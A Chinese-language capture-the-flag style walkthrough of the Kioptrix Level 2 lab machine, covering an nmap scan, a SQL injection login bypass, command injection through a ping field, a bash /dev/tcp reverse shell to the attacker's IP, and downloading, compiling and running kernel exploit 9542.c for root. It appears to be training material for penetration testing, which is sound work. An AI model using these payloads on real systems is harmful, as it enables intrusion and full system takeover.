Kioptrix Level2靶机

0x01信息收集

nmap -sV -O 10.121.65.83

0x02 万能密码&&命令执行

访问80端口(经测试 443端口并没有办法访问)

登录框尝试弱口令和sql注入 发现存在万能密码

admin'#

存在一个ping命令，尝试通过管道符看是否会执行命令

127.0.0.0|id

存在命令执行漏洞，那么反弹一个shell即可

127.0.0.1|bash -i >& /dev/tcp/10.121.65.78/4444 0>&1

0x03 权限提升

通过suid尝试提权

find / -perm -u=s -type f 2>/dev/null 查找有权限的文件

发现并没有可以利用的地方

接着查看操作系统版本号

查看linux系统版本信息命令：lsb_release -a

查看内核版本 uname -a

发现是CenOS 4.5 内核为 linux 2.6.9

攻击机上开启web服务

python2 -m SimpleHTTPServer 80

然后在靶机上通过wget下载9542.c，在靶机上进行编译(因为这个脚本只支持x86，在64上无法编译。)

cd /tmp

wget 10.121.65.78/9542.c

这里要到tmp目录下才能下载，否则其他目录都没办法写入

gcc 9542.c -o 9542

./9542